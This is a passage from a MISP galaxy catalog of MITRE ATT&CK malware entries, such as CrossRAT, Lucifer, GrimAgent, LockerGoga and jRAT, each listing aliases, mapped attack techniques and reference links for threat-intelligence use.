- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Evade Analysis Environment - T1523" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Injection - T1516" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1508" with estimative-language:likelihood-probability="almost-certain"

Table 5494. Table References

Links
https://attack.mitre.org/software/S0423
https://www.threatfabric.com/blogs/ginp_a_malware_patchwork_borrowing_from_anubis.html

CrossRAT - S0235

[CrossRAT](https://attack.mitre.org/software/S0235) is a cross platform RAT.

The tag is: *misp-galaxy:mitre-malware="CrossRAT - S0235"*

CrossRAT - S0235 is also known as:

- CrossRAT

View relationships graph

CrossRAT - S0235 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001" with estimative-language:likelihood-probability="almost-certain"

Table 5495. Table References

Links
https://attack.mitre.org/software/S0235
https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf

RunningRAT - S0253

[RunningRAT](https://attack.mitre.org/software/S0253) is a remote access tool that appeared in operations surrounding the 2018 Pyeongchang Winter Olympics along with [Gold Dragon](https://attack.mitre.org/software/S0249) and [Brave Prince](https://attack.mitre.org/software/S0252). (Citation: McAfee Gold Dragon)

The tag is: *misp-galaxy:mitre-malware="RunningRAT - S0253"*

RunningRAT - S0253 is also known as:

- RunningRAT

View relationships graph

RunningRAT - S0253 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 5496. Table References

Links
https://attack.mitre.org/software/S0253
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/

Judy - S0325

[Judy](https://attack.mitre.org/software/S0325) is auto-clicking adware that was distributed through multiple apps in the Google Play Store. (Citation: CheckPoint-Judy)

The tag is: *misp-galaxy:mitre-malware="Judy - S0325"*

Judy - S0325 is also known as:

- Judy

View relationships graph

Judy - S0325 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Generate Fraudulent Advertising Revenue - T1472" with estimative-language:likelihood-probability="almost-certain"

Table 5497. Table References

Links
https://attack.mitre.org/software/S0325
https://blog.checkpoint.com/2017/05/25/judy-malware-possibly-largest-malware-campaign-found-google-play/

Lucifer - S0532

[Lucifer](https://attack.mitre.org/software/S0532) is a crypto miner and DDoS hybrid malware that leverages well-known exploits to spread laterally on Windows platforms.(Citation: Unit 42 Lucifer June 2020)

The tag is: *misp-galaxy:mitre-malware="Lucifer - S0532"*

Lucifer - S0532 is also known as:

- Lucifer

View relationships graph

Lucifer - S0532 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1498" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5498. Table References

Links
https://attack.mitre.org/software/S0532
https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/

TYPEFRAME - S0263

[TYPEFRAME](https://attack.mitre.org/software/S0263) is a remote access tool that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032). (Citation: US-CERT TYPEFRAME June 2018)

The tag is: *misp-galaxy:mitre-malware="TYPEFRAME - S0263"*

TYPEFRAME - S0263 is also known as:

- TYPEFRAME

View relationships graph

TYPEFRAME - S0263 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5499. Table References

Links
https://attack.mitre.org/software/S0263
https://www.us-cert.gov/ncas/analysis-reports/AR18-165A

GrimAgent - S0632

[GrimAgent](https://attack.mitre.org/software/S0632) is a backdoor that has been used before the deployment of [Ryuk](https://attack.mitre.org/software/S0446) ransomware since at least 2020; it is likely used by [FIN6](https://attack.mitre.org/groups/G0037) and [Wizard Spider](https://attack.mitre.org/groups/G0102).(Citation: Group IB GrimAgent July 2021)

The tag is: *misp-galaxy:mitre-malware="GrimAgent - S0632"*

GrimAgent - S0632 is also known as:

- GrimAgent

View relationships graph

GrimAgent - S0632 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Language Discovery - T1614.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Location Discovery - T1614" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Junk Data - T1001.001" with estimative-language:likelihood-probability="almost-certain"

Table 5500. Table References

Links
https://attack.mitre.org/software/S0632
https://gibnc.group-ib.com/s/Group-IB_GrimAgent_analysis#pdfviewer

RedDrop - S0326

[RedDrop](https://attack.mitre.org/software/S0326) is an Android malware family that exfiltrates sensitive data from devices. (Citation: Wandera-RedDrop)

The tag is: *misp-galaxy:mitre-malware="RedDrop - S0326"*

RedDrop - S0326 is also known as:

- RedDrop

View relationships graph

RedDrop - S0326 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Carrier Billing Fraud - T1448" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"

Table 5501. Table References

Links
https://attack.mitre.org/software/S0326
https://www.wandera.com/reddrop-malware/

Kwampirs - S0236

[Kwampirs](https://attack.mitre.org/software/S0236) is a backdoor Trojan used by [Orangeworm](https://attack.mitre.org/groups/G0071). It has been found on machines which had software installed for the use and control of high-tech imaging devices such as X-Ray and MRI machines. (Citation: Symantec Orangeworm April 2018)

The tag is: *misp-galaxy:mitre-malware="Kwampirs - S0236"*

Kwampirs - S0236 is also known as:

- Kwampirs

View relationships graph

Kwampirs - S0236 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 5502. Table References

Links
https://attack.mitre.org/software/S0236
https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia

Siloscape - S0623

[Siloscape](https://attack.mitre.org/software/S0623) is malware that targets Kubernetes clusters through Windows containers. [Siloscape](https://attack.mitre.org/software/S0623) was first observed in March 2021.(Citation: Unit 42 Siloscape Jun 2021)

The tag is: *misp-galaxy:mitre-malware="Siloscape - S0623"*

Siloscape - S0623 is also known as:

- Siloscape

View relationships graph

Siloscape - S0623 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Escape to Host - T1611" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Container Administration Command - T1609" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"

Table 5503. Table References

Links
https://attack.mitre.org/software/S0623
https://unit42.paloaltonetworks.com/siloscape/

GravityRAT - S0237

[GravityRAT](https://attack.mitre.org/software/S0237) is a remote access tool (RAT) and has been in ongoing development since 2016. The actor behind the tool remains unknown, but two usernames have been recovered that link to the author, which are "TheMartian" and "The Invincible." According to the National Computer Emergency Response Team (CERT) of India, the malware has been identified in attacks against organization and entities in India. (Citation: Talos GravityRAT)

The tag is: *misp-galaxy:mitre-malware="GravityRAT - S0237"*

GravityRAT - S0237 is also known as:

- GravityRAT

View relationships graph

GravityRAT - S0237 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 5504. Table References

Links
https://attack.mitre.org/software/S0237
https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html

LockerGoga - S0372

[LockerGoga](https://attack.mitre.org/software/S0372) is ransomware that was first reported in January 2019, and has been tied to various attacks on European companies, including industrial and manufacturing firms.(Citation: Unit42 LockerGoga 2019)(Citation: CarbonBlack LockerGoga 2019)

The tag is: *misp-galaxy:mitre-malware="LockerGoga - S0372"*

LockerGoga - S0372 is also known as:

- LockerGoga

View relationships graph

LockerGoga - S0372 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Account Access Removal - T1531" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"

Table 5505. Table References

Links
https://attack.mitre.org/software/S0372

https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/
https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/

Socksbot - S0273

[Socksbot](https://attack.mitre.org/software/S0273) is a backdoor that abuses Socket Secure (SOCKS) proxies. (Citation: TrendMicro Patchwork Dec 2017)

The tag is: *misp-galaxy:mitre-malware="Socksbot - S0273"*

Socksbot - S0273 is also known as:

- Socksbot

View relationships graph

Socksbot - S0273 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 5506. Table References

Links
https://attack.mitre.org/software/S0273
https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf

Skygofree - S0327

[Skygofree](https://attack.mitre.org/software/S0327) is Android spyware that is believed to have been developed in 2014 and used through at least 2017. (Citation: Kaspersky-Skygofree)

The tag is: *misp-galaxy:mitre-malware="Skygofree - S0327"*

Skygofree - S0327 is also known as:

- Skygofree

View relationships graph

Skygofree - S0327 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Exploit OS Vulnerability - T1404" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"

Table 5507. Table References

Links
https://attack.mitre.org/software/S0327
https://securelist.com/skygofree-following-in-the-footsteps-of-hackingteam/83603/

jRAT - S0283

[jRAT](https://attack.mitre.org/software/S0283) is a cross-platform, Java-based backdoor originally available for purchase in 2012. Variants of [jRAT](https://attack.mitre.org/software/S0283) have been distributed via a software-as-a-service platform, similar to an online subscription model.(Citation: Kaspersky Adwind Feb 2016) (Citation: jRAT Symantec Aug 2018)

The tag is: *misp-galaxy:mitre-malware="jRAT - S0283"*

jRAT - S0283 is also known as:

- jRAT
- JSocket
- AlienSpy
- Frutas
- Sockrat
- Unrecom

- jFrutas
- Adwind
- jBiFrost
- Trojan.Maljava

View relationships graph

jRAT - S0283 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

